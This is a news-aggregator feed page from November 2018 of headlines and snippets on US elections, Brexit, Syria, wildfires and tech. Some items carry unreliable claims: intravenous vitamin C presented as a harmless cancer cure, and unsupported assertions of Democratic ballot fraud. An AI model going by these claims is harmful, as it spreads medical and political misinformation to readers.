FAO Schwarz is back! Check out these festive images of its new NYC flagship "IndyWatch Feed Allworld"

Holiday shopping just got a little more fun.

After shuttering its iconic Fifth Avenue toy store due to rising rents and a changing retail landscape, FAO Schwarz has reopened just in time for the Christmas shopping seasonsending its toy soldiers to man the doors of a brand-new flagship location in New York City.

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13:32

Radeon ROCm 1.9.2 Released - Brings SDMA/RDMA Support For Vega 20, HIP/HCC Improvements "IndyWatch Feed Allworld"

While we know ROCm 2.0 is coming out before year's end and that will have many improvements like complete OpenCL 2.0 support, ROCm 1.9.2 is out today as the latest stable release for this Radeon Open Compute stack...

13:30

Berto Jongman: One Third of All Food Produced Worldwide is Thrown Away "IndyWatch Feed Allworld"

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One third of ALL food produced worldwide is thrown out before it hits consumers plates, study finds

  • New report found 1.3 billion metric tons of food is wasted worldwide each year
  • This amounts to one third of food produced for humans, adds up to $1 trillion
  • Still, report found that billions of people around the world have inadequate diet

13:30

Lynette Zang; The Shrinking Pool of Buyers (Video) "IndyWatch Feed Allworld"

Lynette Zang; The Shrinking Pool of Buyers Video Reluctant Preppers You may have heard that the near-record stock market internals have turned ghastly, where most companies are lagging, leaving only a few standard-bearers to prop up the nameplate DJIA...

The post Lynette Zang; The Shrinking Pool of Buyers (Video) appeared first on The Daily Coin.

13:29

First Ever Ranked-Choice Vote Flips Seat to Dems "IndyWatch Feed Allworld"

Democrats netted their 36th House gain on Thursday as Democratic challenger Jared Golden unseated Republican incumbent Bruce Poliquin in Maines 2nd District.

Golden pulled ahead thanks to Maines ranked-choice system of voting. Under the system, voters rank their preferred candidates under their top choice. If neither major party candidate secures the necessary 50 percent threshold for a victory, ballots cast for third-party candidates are reallocated to their second choice.

On election night, Poliquin (R) led Golden (D) by a 46.4 45.5 percent margin. Under Maine law, since Poliquin failed to reach 50 percent, ballots for independent candidates Tiffany Bond and William Hoar were reallocated to one of the two major party candidates selected by those voters as their second choice.

Prior to the election, both Bond and Hoar advised their supporters to rank Golden ahead of Poliquin on their ballots. The third-party vote swung decisively for Golden.

Poliquin sued Maines Secretary of State earlier this week to stop the ranked-choice vote tabulation. Poliquins argument rests on the constitutionality of ranked-choice voting and emphasizing Maines history of electing officials with only a plurality of the vote.

On Wednesday, Judge Lance Walker threw out Poliquins request to stop the ranked-choice vote, allowing the results to become final on Thursday.

In his opinion, Judge Walker noted......

13:26

Boycotting World Economic Forum in Davos no great loss for Russia - Putin "IndyWatch Feed Allworld"

Russian President Vladimir Putin said Thursday that the refusal by Russian businesses to participate in next year's World Economic Forum in Davos is not going to have any negative impact on the country's reputation. "Reputation of any country that is a part of the global economy basically depends on its economic power, structure of its economy, as well as on the results it demonstrates from the point of view of GDP, technologies, macro-economic parameters," said Putin, speaking at the Russia-ASEAN Summit in Singapore. Putin stressed that Russian businessmen are free to decide whether or not to attend the January WEF. The comment came amid recent reports that three Russian businessmen - Viktor Vekselberg, the owner of Renova group, aluminum tycoon Oleg Deripaska, and the head of VTB Bank Andery Kostin had been barred from the event over sanctions imposed by Washington.

13:25

Trump Reportedly Explores Option of Letting Turkey Kill US Resident Gulen, As Bribe To Forget Saudi Murder of Khashoggi "IndyWatch Feed Allworld"

 

Trump Mulls Letting Turkey Kill U.S. Resident to Help Saudis Get Away With Killing U.S. Resident

Fethullah Glen. Photo: Matt Smith/picture alliance via Getty Image

In an op-ed for The Wall Street Journal earlier this week, Marco Rubio wrote that Donald Trumps brand of nationalism is not a creed that subordinates enlightenment values to zero-sum tribalism as French president Emmanuel Macron had recently suggested. Rather, the Florida senator argued...

13:23

US, Britain Push Yemen Ceasefire as Tactic to Defeat Houthis "IndyWatch Feed Allworld"

FINIAN CUNNINGHAM | 16.11.2018 | US, Britain Push Yemen Ceasefire as Tactic to Defeat Houthis At first glance, it may seem like a positive move. The Trump administration and London are both putting pressure on Saudi Arabia and the United Arab Emirates to implement a ceasefire in Yemens atrocious war. Washington and London are also calling for warring []

13:22

You cant characterize human nature if studies overlook 85 percent of people on Earth "IndyWatch Feed Allworld"

Ninety percent of psychology studies come from countries representing less than 15 percent of the worlds population. Researchers are realizing that universalizing those findings might not make sense.

13:22

The Bishops In Their Labyrinth "IndyWatch Feed Allworld"

The U.S. Conference of Catholic Bishops met in Baltimore this week hoping to address the sex abuse crisis. Instead, they made things worse.

13:21

The 40th Anniversary Of The Jonestown Massacre Is The Perfect Time To Brush Up On How Cults Operate "IndyWatch Feed Allworld"

As horrifying as the Jonestown tape is, it also offers us a stark, invaluable lesson on the weakness of the human mind when its put into isolation and subjected to coercive persuasion.

13:18

Why Never Trumpers Attack On The Federalist Society Is Disingenuous And Foolhardy "IndyWatch Feed Allworld"

Checks and Balance's attempt to pose as a moral alternative to the Federalist Society and others who support the Trump administration is disingenuous.

13:18

Turkey detains two academics and ten others for 'organising Gezi protests' "IndyWatch Feed Allworld"

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A police list seen by MEE shows that one of the suspects was detained in part for being married to an opposition journalist

13:15

How Misguided Environmentalism Is To Blame For Californias Wildfires "IndyWatch Feed Allworld"

The saddest part about these fires in California is that they are self inflicted. Californians should not allow such mismanagement to continue.

13:15

CEOs Departure Is A Golden Opportunity For Victorias Secret To Roar Back "IndyWatch Feed Allworld"

Victorias Secret is losing out to competitors like American Eagles Aerie, and theyve been blaming the struggle on changing consumer demands. Its a total disaster.

13:15

How Seasteading Can Change The Environment And Society For The Better "IndyWatch Feed Allworld"

In 'Seasteading: How Floating Nations Will Restore the Environment, Enrich the Poor, Cure the Sick, and Liberate Humanity from Politicians,' authors Joe Quirk and Patri Friedman argue that colonizing the oceans points the way forward for humanity.

13:15

What We All Can Learn From The Commemoration Of Saints Margaret And Elizabeth "IndyWatch Feed Allworld"

Ours is no era of new enlightenmentthe church, and Jesus himself, have been empowering and uplifting Christian women for years.

13:15

Tech Bubble 2.0: When Dotcoms Became Unicorns "IndyWatch Feed Allworld"

TechCrunch recently posted a fascinating chart of the monthly count of global VC deals that raised $100 million or more since 2007. According to this chart, a new unicorn startup was born every four days in 2018. Unfortunately, this is even more evidence of the tech startup bubble that I have been warning about..I believe that a very high percentage of todays startups are actually malinvestments that only exist due to the false signal created when the Fed and other central banks distorted the financial markets and economy with their aggressive monetary stimulus programs after the global financial crisis. See this definition of malinvestment from the Mises Wiki:

 

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13:14

What We Know So Far About Michael Avenattis Arrest For Domestic Violence "IndyWatch Feed Allworld"

On Wednesday, self-proclaimed Fighter for Good Michael Avenatti was arrested on a felony domestic violence charge. He contests the charges.

13:14

How Stan Lee And Jack Kirbys Revolutionary Partnership Changed Superheroes "IndyWatch Feed Allworld"

Their partnership was tense, but Stan Lee and Jack Kirby were pioneers.

13:14

HBOs Camping Really Should Be Better "IndyWatch Feed Allworld"

'Camping' is worth watching, but falls short of expectations given the show's concentration of talent.

13:13

Revisiting DS9:1, Ep. 8: Star Treks Dueling Notions Of Justice "IndyWatch Feed Allworld"

Despite the generally all-encompassing lawlessness of Star Trek, two competing notions of justice take hold in 'Deep Space Nine.'

13:13

Amazon Chose DC And NYC Because Thats Where The Childless Workaholics Live "IndyWatch Feed Allworld"

How do people find fulfillment if they don't have religion, a sense of community, or a family? Hopefully by devoting their life to finding a way to ship mouthwash to people's doors for ten cents cheaper.

13:12

"Living a lie": UK's multi-billion pound contract to double fleet of US' faulty F-35s by 2022 "IndyWatch Feed Allworld"

The UK has signed a multi-billion pound contract which will double its F-35 fleet, the country's defense secretary has announced. The deal will see Britain own 35 stealth jets by the end of 2022. Defence Secretary Gavin Williamson confirmed that the UK has ordered 17 new F-35B aircraft which will be delivered between 2020 and 2022. Overall, Britain has committed to buying 138 aircraft over the life of the program. "I am delighted to confirm that we are doubling the size of our F-35 force into a formidable fleet of 35 stealth fighters. This is another massive order in the biggest defense program in history," Williamson said. He went on to tout the move as being "good news" for the British economy, as British companies are building approximately 15 percent by value of all F-35s planned for production, which amounts to 255 in total. The F-35 is made by the US company Lockheed Martin, but the UK's BAE Systems is a contractor on the project. Comment: Williamson has a very twisted idea...

13:12

Voting Cards "IndyWatch Feed Allworld"


Mexico had a problem with illegal voting (the dead voted there just as they do in Chicago today) and they arrived at a solution. They issue a national identification card in the form of a voter credential. 

Q - LL can you get a legitimate voter card yourself even though you aren't a Mexican citizen.

A - Yes, but it's not easy. You need a voter ID card to obtain a passport in Mexico. So the pathway to "legitimate citizenship" under an assumed name in Mexico is through a voting card. I would never collect legitimate identification documents from a nation not my own, but knowing how to do it is part of tradecraft.

Having made that admission, you must appear in person to vote in Mexico, presenting your voter ID card, which is physically punched. You must vote at least once every seven years, or the card becomes invalid.

Given that the current pattern of electing Democrats is that massive numbers of ballots are "found" as if by act of God to tip the numbers, they won't be interested in instating something like a voter ID card (which is a national ID card in Mexico). Given that natural resistance, the only way that we will have legitimate election results in the US is to abandon on-line, absentee and other mail-in ballots and use the Mexican system to insure an honest election.

To obtain a voting card in Mexico, you must verify citizenship in person, be fingerprinted, and photographed. Even using the above mentioned tradecraft, a personal appearance with metrics is required. I'm sure that the Chicago Machine will be able to exhume the bodies of the dead and roll prints from their shriveled carcasses, but it will be more challenging than the current system (impossibly corrupt and broken) seems to be.

13:11

Veganism backlash? These women swear by a meat-based diet "IndyWatch Feed Allworld"

A beautiful woman in her 40s sits in a restaurant. It's a late summer evening, and the air is scented with garlic and herbs. Suddenly, there is a commotion in the kitchen, as staff jostle at the door to peer at her. Surprisingly, it's not for her striking looks, but her food order. A huge steak and nothing else 'for the lady' is surely one of the strangest requests they've had. But for Jill Gardner, 44, the lady in question - a petite, size 10 one at that - it's something she's grown used to over the past year. She shrugs off raised eyebrows from waiters and amused comments from dining companions over her unorthodox eating habits.

13:10

Does Any of This Make Sense? "IndyWatch Feed Allworld"

Does Any of This Make Sense? by Charles Hugh Smith Of Two Minds Does any of this make sense? No. But its so darn profitable to the oligarchy, its difficult to escape debt-serfdom and tax-donkey servitude. We rarely ask...

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13:06

Canada Faces Cannabis Shortages "IndyWatch Feed Allworld"

Why is Canada running out of marijuana?

Cannabis retailers in Canada began to run low on supplies from the very first day of legalisation a month ago. How long are shortages expected to continue as the new market for recreational cannabis finds its feet?

In the early days of legalisation, James Burns was confident his company had enough product on the shelves of its five new cannabis retail stores, even though they only received half of their order from the provincial supplier. Now, he has had staff refreshing the government supply website in the early hours to snap up scarce new stock as soon as it's available, and is considering restricting store hours.

"While there was product to order we were very comfortably getting a large amount of it," says Burns, the CEO of Alcanna, a company that owns a chain of private liquor stores in Canada and the US and, now, cannabis stores in the province of Alberta. "But obviously, when there's literally none there, it doesn't matter how big you are, there's just none there. If the government warehouse is empty, it's empty. There's nothing you can do."

[...] A report released in early October by the CD Howe Institute, a Toronto-based economic think tank, estimates that the current legal supply will meet about 30% to 60% of total demand in the first months of legalisation. But people in the industry say the scarcity is worse than expected. "Everybody knew this was going to happen," says Burns. "Probably, frankly, not this quick and this starkly."

Patrick Wallace, owner of Waldo 420 in Medicine Hat, Alberta, predicts it will be a year to 18 months before supply matches demand. "We're riding on our initial investment of stock from a few weeks back," he says. "So we're OK now but it's not sustainable."

Previously: Canada Becomes the Second Nation to Legalize Cannabis
Peter Thiel's Cannabis Company Was Briefly Worth More Than Twitter
Hostage to NAFTA? Canada Signs on to War on Drugs Despite Recent Cannabis Legalization
Cannabis Becomes Legal in Canada


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Why is this Iranian regime change cult building a base in Albania? "IndyWatch Feed Allworld"

The Balkan nation currently hosts the headquarters of the Mojahedin-e Khalq, dedicated to violent regime change in Iran

13:05

US State Dept. Claims Assad Brought ISIS Into Syria, Admits US Has No Intention of Leaving Syria "IndyWatch Feed Allworld"


It has long been suspected, that far from fighting ISIS as the US boldly claim at every turn, that Washington has been managing the issue of ISIS in order to first help facilitate regime change in Syria (which has so far failed), and now as the justification for the illegal US occupation of northeastern Syria.

Many remaining suspicions have been dispelled following a recent Special Briefing this week conducted by the US State Dept. and  its Special Representative for Syria Engagement, James F. Jeffrey (image above).

In it, Jeffrey let slip that the US would indeed be staying to illegally occupy Syria even after Daesh (ISIS) is gone, claiming that it would be pursuing other, secondary goals like evicting Iranian influence from Syria and stopping Tehrans malign activities, as well as proving to the world that Washington has a genuine interest in achieving a political solution by the various ways we have, not just diplomatic but security and military, through economic tools and other assets that we have and that were deploying in this conflict.

Jeffrey opened his address by rattling off a series of lies none of which were challenged by the mainstream media stenographer pool. He opened with the invented claim that the Syrian government only controls half if the country, and then went on the claim that half the population (of Syria) has fled its horrific rule as refugees or internally displaced persons (IDPs). Both of these statements are gross exaggerations designed to bolster the central US propaganda pillar which gives the false impression that the Syrian government is illegitimate.

Jeffrey then lied again by pushing a completely bogus claim that Iran was responsibly for the rise of ISIS in 2013 and 2014.

He didnt stop there. Jeffrey proceeded lie again about the roots of ISIS, inventing a fictional narrative claiming that ISIS was invited into Syria by the government in Damascus:

Technically, the Syrian government invited them in; we expect the Syrian government to ask them to leave.

One has to question the qualificat...

13:00

Spies Without Borders How the FSB Infiltrated the International Visa System "IndyWatch Feed Allworld"

One of the unanswered questions lingering after Bellingcats unmasking of the identities of suspects in the botched-up poisoning of Sergey and Yulia Skripal, is how two (or, likely, more) undercover GRU officers were able to obtain visas to travel to the UK. Securing a visa to the UK as to most of EU destinations is not a trivial procedure. A single-entry visitor visa is relatively straightforward to procure it requires either an invitation from a UK resident or business, or a pre-arranged tourist trip.

To get a long-term, multi-entry visa the kind the two GRU officers are reported to have used a Russian applicant must go through many more hoops. The visa-seeker must make a convincing case for their need for multiple trips and present evidence for both their steady links to their home country, and their financial capability to sustain themselves in the UK over an extended period. The UK consular section makes a concerted effort to validate the data provided by applicants, and is known to reject applicants even such with a prior multi-entry visa once they discover an inconsistency in the back story presented by a would-be visitor. The following rejection letter sent to an applicant who had a prior six-month multiple visa to the UK, exemplifies the paranoid attitude applied by the UK consular service, including its focus on provenance of claimed income.

Given this dense sieve and eagerness to make background checks, how was it possible that the UK Consulate in St. Petersburg issued multi-entry visas to two non-existing personas who allegedly claimed that they were international businessmen with well-stocked bank accounts? This question is especially relevant given that a simple search in readily available Russian open-source business databases shows that neither of the two fake personas were registered as owners or members of management of a single currently operating Russian company. Bellingcats extensive search through corporate registries in Russia established that the only company in which Boshirov had been formally employed was Kursor Ltd, a Moscow-based manufacturer of medical equipment which was liquidated only months after Boshirov received his cover identity in 2009.

Yet, the non-existent personas Boshirov and Petrov were apparently able to secure multi-entry visas to the UK, as well as multi-entry Schengen visas, on which they both crisscrossed Europe, visiting the UK at least four times, and...

13:00

Delta Bot Plucks Out Tunes on a Mandolin "IndyWatch Feed Allworld"

Is there no occupation safe from the scourge of robotic replacement? First it was the automobile assemblers, then fast food workers, and now its the mandolin players?

Probably not, unless [Clayton Darwin]s mandolin playing pluck-bot has anything to say about it. The pick-wielding delta-ish robot can be seen in action in the video below, plucking out the iconic opening measures of that 70s prom-theme favorite, Colour My World. The robot consists of two stepper motors connected to a hinged wooden arm by two pushrods. We had to slow the video down to catch the motion, but it looks like [Clayton] has worked out the kinematics so that the pick can be positioned in front of any of the mandolins eight strings. A quick move of the lower stepper then flicks the pick across a string and plucks it. [Clayton] goes into some detail about how he built the motion-control part in an earlier video; he also proves that steppers are better musicians than well ever be with a little Axel F break.

Its only a beginning, of course, but the complexity of the kinematics just goes to show how simple playing an instrument isnt. Unless, of course, you unleash an endless waterfall of marbles on the problem.

Thanks for the tip, [baldpower].

12:59

Intravenous Vitamin C is a cancer killer the FDA still wants to ban "IndyWatch Feed Allworld"

Vitamin C has a broad spectrum antioxidant function with the ability to protect cell structures and DNA from free radical damage. Vitamin C is remarkably safe even in enormously high doses. Compared to commonly used prescription drugs, side effects are virtually nonexistent. No matter how high the concentration, vitamin C does not harm healthy cells. []

The post Intravenous Vitamin C is a cancer killer the FDA still wants to ban appeared first on Health Nut News.

12:59

Syrian migrant, 20, is arrested for raping three-year-old boy at Greek refugee camp "IndyWatch Feed Allworld"

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Three-year-old came running to his mother crying and bleeding

The post...

12:59

Breaking News: Orange Man Bad! "IndyWatch Feed Allworld"

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We think for self! Just coincidence views exactly same as npcnn and npcolbert and all tv. We think the thoughts ourself!!!

The post Breaking News: Orange Man Bad! appeared first on Alternative News Network.

12:58

While Some States Are Still Counting Ballots, California Is Burning "IndyWatch Feed Allworld"

California forests have long been a disaster waiting to happen. Forest density, antiquated forest practices, stressed and dead trees as a result of bug infestation, conflicts between state and federal government, and private property owners wanting to live close to the wildland-urban interface are just a few of the problems.

In this weeks WhoWhatWhy podcast, we talk with longtime California environmental reporter, Julie Cart, about just how bad the problem is and what is being done to prevent more death and destruction.

She explains that a full 30 percent of California is forested. Of this total, 60 percent is owned by the federal government, 2 percent by the state of California, and the rest is owned either privately or by local governments. Each has a different approach to dealing with the problem.

California has an estimated 129 million dead trees, an acknowledged factor in spreading wildfires, Cart says. The cost for removing a single dead tree is approximately $1,000, and the optics of cutting down trees, even dead ones, in a state with strong environmental rules make remediation even more difficult.

The impact of climate change on forest fires involves a deadly feedback loop. So many of the fires are a direct result of extended drought related to climate change. But in torching so many dead trees, a severe fire season of one or two months can release enormous amounts of carbon into the air more than that emitted by all the cars in California each year which significantly adds to the buildup of greenhouse gases fueling climate change.

Last years fires cost over $9 billion; this year the toll will be even higher. In both dollars and lives lost. Cart points out that while Cal Fire and the US Forest Service have vast resources, so much of those resources are diverted to firefighting, leaving little time or money to do the necessary work of prevention.

Cart suggests that perhaps the real solution is simply to tell people, as they do in Australia, that if they choose to live in certain areas, they cannot expect a fire truck to roll up the driveway during the next disaster. They will have to learn how to fend for themselves.


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12:54

More Benchmarks Of The Performance Pullback In Linux 4.20 "IndyWatch Feed Allworld"

Last night I published some benchmarks after finding Linux 4.20 is regressing in several workloads compared to Linux 4.18/4.19 and at least was affecting Intel Core i9 "HEDT" boxes. Here are more affected workloads regressing on Linux 4.20 and it's not just limited to high-end hardware...

12:54

Central issue in the transgenderism debate "IndyWatch Feed Allworld"

Thanks to Macca's website. I think you've cleared this up for most of us.

12:50

US secretly charged Assange, prosecutor accidentally reveals WikiLeaks "IndyWatch Feed Allworld"

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WikiLeaks tweeted the document on Thursday, saying it was an apparent cut-and-paste error.

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12:46

Attacks on Palestinian schools increase as Israel escalates settlement activities "IndyWatch Feed Allworld"

Israeli settler violence - with IDF complicity - is becoming more and more commonplace, even targeting elementary schools. The government has also approved extensive Israeli settlement expansions and Jewish-only roads to be built on Palestinian land, which will result in isolation of Palestinian communities and loss of olive trees. In addition, Jerusalem has seen an increase in extremist Jewish visits to the Al-Aqsa mosque. School attacks and demolitions In a clear violation of all laws and human rights principles, including the right to education and access to educational institutions, many Palestinian schools in the countryside and Bedouin communities were attacked by Israeli soldiers and settlers.

12:46

Jada Pinkett Smith claims she's triggered by white women with blond hair "IndyWatch Feed Allworld"

Actress Jada Pinkett Smith revealed Monday that white women with blond hair trigger deep-seated prejudices in her that she's carried since she was a child. The "Girls Trip" star said on the new episode of her Facebook chat show, "Red Table Talk," that she's had to keep herself in check when it comes to judging white women, acknowledging that they share the oppression she's also experienced because of their gender. "White women understand what it feels to be oppressed ... because of their sex," Mrs. Pinkett Smithsaid. "What it feels to be ostracized or not being treated as an equal.

12:46

Floridas Tight Senate Race Heads to Manual Recount "IndyWatch Feed Allworld"

TALLAHASSEE, Fla.Floridas protracted Senate election proceeded to a manual recount on Thursday, the next phase in an increasingly bitter and litigious fight, while Republicans declared victory anew in the race for governor.

The states machine recount ended at 3 p.m. on Thursday with Republican Gov. Rick Scott leading incumbent Democratic Sen. Bill Nelson by less than one-quarter of one percentage point, within the margin that legally triggers a manual recount.

Mr. Scott led Mr. Nelson by more than 56,000 votes on election night Nov. 6, but that lead had fallen to 12,603 on Thursday afternoon.

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A couple of counties were unable to submit machine recounts, reverting those counties to the unofficial results they submitted on Saturday.

Susan Bucher, Palm Beach County supervisor of elections, blamed aging vote-tabulation equipment that malfunctioned because it had to be run 24 hours a day. She said work might have been completed given another three to four hours.

Just like an old car, they overheated, she said of the voting machines in federal court on Thursday.

The state didnt accept Broward Countys machine-recount totals because they were submitted two minutes late, and instead reverted to the countys previous unofficial tally.

A federal judge rejected a Democratic request for the state to extend the deadlines for both the manual and machine recounts, though the court did hold a hearing on Thursday on the delays in Palm Beach County.

County election officials across the state now have until Sunday to review overvotes and undervotes, ballots that a machine marked as having too many or too few selections in the race. Officials will seek to interpret the intent of tens of thousands of voters based on the markings they left on the ball...

12:45

Health authorities warn next superbug pandemic will kill millions and nations arent doing anything to stop it "IndyWatch Feed Allworld"

Health authorities warn next superbug pandemic will kill millions and nations arent doing anything to stop it by: Isabelle Z.  Natural News When you think of a pandemic, global disease outbreaks like the Spanish flu that killed 50 million in...

The post Health authorities warn next superbug pandemic will kill millions and nations arent doing anything to stop it appeared first on The Daily Coin.

12:45

CRISPR/Cas9 mutagenesis in Volvox "IndyWatch Feed Allworld"

Researchers in Stephen Millers lab at the University of Maryland, Baltimore County have successfully used CRISPR/Cas9 to knock out several developmentally important genes in Volvox carteri. CRISPR/Cas9 is a relatively new technology that allows heritable mutations to be introduced into living cells at specific locations within the genome.

This advance was announced in a new paper in The Plant Journal by Jose A. Ortega-Escalante, Robyn Jasper, and Stephen M. Miller (Jasper and Ortega-Escalante are listed as equal contributors). They were able to transform wild-type V. carteri with inversion-deficient and somatic-regenerator mutations, and they transformed somatic regenerator mutants with a gonidialess (no specialized reproductive cells) mutation.

I have never used CRISPR/Cas9, and I dont know as much about it as I should, so Im sure any explanation I gave would be riddled with errors. Heres someone who seems to know what shes talking about:

Thats Jennifer Doudna, co-inventor, with Emmanuelle Charpentier and Virginijus iknys, of the CRISPR/Cas9 system. For their roles in CRISPR/Cas9 development, Doudna and Charpentier have shared the 2015 Breakthrough Prize, the 2015 Gruber Prize in genetics, the 2016 Warren Alpert Prize (with iknys and two others), and the 2018 Kavli Prize in Nanoscience (with iknys).

Briefly, CRISPR/Cas9 is a bacterial mechanism for destroying viral DNA, and humans have exploited it into a system for making specific changes at precise locations within the genomes of living organisms. In the video above, Dr. Doudna is focused on repairing malfunctioning genes, but CRISPR/Cas9 is equally effective at introducing malfunctions to (previously) normally functioning genes, which is often a useful tool in basic research. The reason we often want to do this is that by breaking a gene and observing the result, we can often get an idea of the genes function.

In a sense, Ortega-Escalante, Jasper, and Miller turned this logic on its head. Rather than using CRISPR/Cas9 to identify gene functions, they used known gene functions to assay the success of their transformations. By targeting three genes with known, easily observable phenotypes, they were able to identify Volvox spheroids in which CRISPR/Cas9 had introduced loss of function mutations:

12:42

Stone: Enough, Already, Of Robert Muellers Politicized Investigation "IndyWatch Feed Allworld"

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Consistent with my testimony, nothing in these text exchanges suggests that I knew of the source or content of any of the allegedly stolen or hacked material released by Wikileaks.

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12:41

Fox guarding the hen-house: Israeli defense contractor to 'monitor Europe's coasts' "IndyWatch Feed Allworld"

The Israeli defense contractor Elbit Systems Ltd has won a contract worth up to $68 million to monitor much of Europe's coastline. Elbit Systems, an Israeli tech firm which specialises in defence, security and commercial systems, said today that the framework contract consists of the provision of maritime unmanned aircraft system (UAS) to the European Maritime Safety Agency (EMSA) in order to help monitor extensive coastlines and vast areas of sea to identify any potential hazards and suspicious activities. The contract is for a two-year period with the option of renewal for an additional two years.

12:40

European Court of Human Rights rules Alexey Navalny was 'political prisoner' "IndyWatch Feed Allworld"

The Grand Chamber of the European Court of Human Rights (ECHR) has deemed several detentions of Russian opposition activist Alexey Navalny as "politically motivated "and ordered Moscow to pay him damages. The court announced its ruling on Thursday, ending the case which has been dragging on for years. The Grand Chamber ruled that several arrests, detentions and administrative convictions, that the Kremlin critic Navalny endured back in 2012-2014 were politically motivated. The Chamber upheld an earlier ruling of the ECHR, announced in February 2017, which awarded the activist 50,000 ($56,500) for "moral damage," 1,000 ($1,100) for material damage, and some 12,600 ($14,200) to cover court expenses. Back then, both the Russian government and Navalny himself asked the court to refer the case to the Chamber. While Moscow challenged the ruling as a whole, Navalny was unhappy that the court did not find a political motive in his detention.

12:40

US airstrikes in Deir Ez-Zor kill at least 17 civilians "IndyWatch Feed Allworld"

Earlier in the day, Moscow confirmed that the US-led coalition has resumed airstrikes east of the Euphrates River in Syria, using white phosphorous munitions banned by the international law. US-Led Coalition airstrikes targeting the village of Bu-Badran in the Syrian Deir ez-Zor province resulted in the death of 17 civilians on Thursday, SANA reported citing local sources. "17 civilians died as a result of airstrikes conducted by the international coalition targeting Bu-Badran in the east of Deir ez-Zor province," the agency reported.

12:40

ISIS fighters paid with gold & silver for shooting aircraft & launching chemical attacks "IndyWatch Feed Allworld"

ISIS jihadists were paid well for their service, documents belonging to the terrorist group, and obtained by RT in Iraq, reveal. Use of chemical agents was paid-for in silver, while taking down a chopper was rewarded with gold. Despite the common belief that Islamic State (IS, formerly ISIS/ISIL) fighters were often forced to join the terrorist group or were recruited based on the conviction of their faith to carry out jihad, documents from the Iraqi city of Mosul and seen by RT show that fighting for the self-proclaimed caliphate also had its financial incentives.

12:40

Bloodied but not beaten, Theresa May defends Brexit deal to British public "IndyWatch Feed Allworld"

British Prime Minister Theresa May faced the public on Friday to defend her Brexit deal as she battles to salvage the agreement and her own political future.

May made a rare outing on a radio phone-in during which she faced a call to step down after a tumultuous Thursday in which ministers resigned and members of her own party plotted to oust her.

Toby Melville, Reuters | British Prime Minister Theresa May holds a news conference at an EU summit in Brussels, Oct. 18, 2018.

I truly believe this is the best deal for Britain, May said of the proposed EU withdrawal agreement, adding that she was very sorry that ministers including Brexit secretary Dominic Raab had quit.

All eyes were on Environment Secretary Michael Gove, the highest-profile pro-Brexit campaigner left standing in Mays cabinet, to see whether he would follow others out the door.

But a source close to Gove, a Vote Leave figurehead in the 2016 referendum on Britains European Union membership, said the minister would remain in his post to ensure the best outcome for the country.

Many media outlets reported that Gove had been offered the position of Brexit secretary.

May told LBC radio she had a very good conversation with Gove and would be appointing a new Brexit chief over the next day or so.

I dont want to see any of my cabinet colleagues whove been doing a good job in the cabinet feeling the need to resign, she added.

Stand down

One caller, a local councillor in her centre-right Conservative Party, urged May to do the right thing in the national interest and stand down.

She also faced comparisons with prime minister Neville Chamberlain and his 1938 appeasement of Nazi Germanys dictator Adolf Hitler.

We are not going to be locked in forever to something that we dont want, May insisted.

Brexiteer MPs fear the deal would keep Britain shackled to the Brussels, while EU supporters say it would leave the UK on worse terms than it has inside the bloc and are calling for a second Brexit referendum to break the logjam.

May could yet face a vote of no confidence from her own MPs.

Conservative lawmaker Jacob Rees-Mogg, the high-profile leader of the Brexit hardline European Research Group, submitted a letter of no-confidence on Thursday.

At least 48 lette...

12:37

NEW DAWN ON BOUGAINVILLE "IndyWatch Feed Allworld"

161118MEMBER WANTS BOTTLE SHOPS CLOSED
New Dawn FM News

The member for RAMU and Minister for Education, THOMAS MAUROKO PATAAKU yesterday called on the ABG House to close Bottle shops and only allow Taverns and Guest Houses to sell liquor with food only as a means of controlling the disturbances drunkards cause when they drink in public places and on the streets.
He said Bottle shops open during odd hours and continue to allow people to take liquor out into the streets.
MR. PATAAKU said liquor sold in these Specified areas could restrict people taking liquor out and also restrict children from having access to liquor at an early age.

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12:36

Mumble Rap What Happens When You Listen To Mumble Rap (Soundcloud Rap) Like Drake, 6ix9ine, TRIPPIE REDD "IndyWatch Feed Allworld"

By O.G.T via The Renegade Pharmacist

This is a serious scientific investigation into the effects to your health, life and your mind after listening to a new genre of rap music called Mumble Rap, also known as Soundcloud Rap that has been sweeping the internet and becoming incredibly popular on places like Youtube and Soundcloud.

In this article you will learn:

  1. What exactly is mumble rap.
  2. What happens when you listen to mumble rap.
  3. How to cure yourself of any harm caused by listening to mumble rap.

What Exactly is Mumble Rap?

The saying goes you must be getting old when you begin to judge the music kids are listening to. However in the case of mumble rap, this no longer applies. You have to be a psychologically disturbed and morally challenged individual if you condone the influence to youth culture of one of the most monumental disasters of modern times.

Mumble rap is a new form of rap music that has become incredibly popular in recent times due to several factors that we will explore in this article, including the viral effect of social sharing pl...

12:35

A Trump-appointed judge just ruled in favor of CNN and Jim Acosta "IndyWatch Feed Allworld"

A judge ordered the White House to temporarily restore Jim Acostas press credentials.

A federal judge just ruled that the White House must temporarily reinstate CNN correspondent Jim Acostas press credentials. The network had sued the Trump administration after it revoked his access, following a bizarre sequence of events.

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12:34

"Irritating": Pentagon fails first ever audit, "accuracy" problems in $2.7 trillion organization "IndyWatch Feed Allworld"

The US Department of Defense spent over $360 million to confirm there are problems in the $2.7 trillion organization, but the Pentagon leadership considers the mere fact that this "first-ever" audit happened was a great success. "We never thought we were going to pass an audit, right? Everyone was betting against us that we wouldn't even do the audit," Deputy Defense Secretary Patrick Shanahan told reporters on Thursday, announcing the end of the eleven-month process. The actual results of the audit, along with the report by the Pentagon's inspector general, will reportedly be made public on Friday. The process began in December 2017 and involved around 1,200 auditors at the cost of some $367 million, according to what the DOD's Chief Financial Officer David Norquist told Congress in January. Shanahan tried to put a brave face on the news, saying that the very fact an audit was done at all was "substantial," since the Pentagon is a "$2.7 trillion organization." A 1990 law required...

12:33

NEW DAWN ON BOUGAINVILLE "IndyWatch Feed Allworld"

161118MASAT TALKS ON WALKING GUNS
New Dawn FM News

The member for TONSU, IZIKIEL MASAT has called on the ABG members to work together and stop what he termed as walking guns from their constituencies.
He was speaking during the ABG Parliament house yesterday.
The member said that although constituencies may have declared themselves some walking guns are still moving un-monitored in their constituencies.
Member MASAT said that these are the weapons that must be silenced quickly as part of the weapons disposal program.

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12:33

California, USA wildfire survivors interviewed "IndyWatch Feed Allworld"

This 14 November 2018 video says about itself:

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Sorrell Bobrink, whose neighbourhood has been completely destroyed, fled the town of Paradise with her son and pets. She described a journey through roads surrounded by flames and feelings of chaos and shock at how quick the fire took over.

From the World Socialist Web Site in the USA:

World Socialist Web Site speaks with California wildfire evacuees

By our reporters

16 November 2018

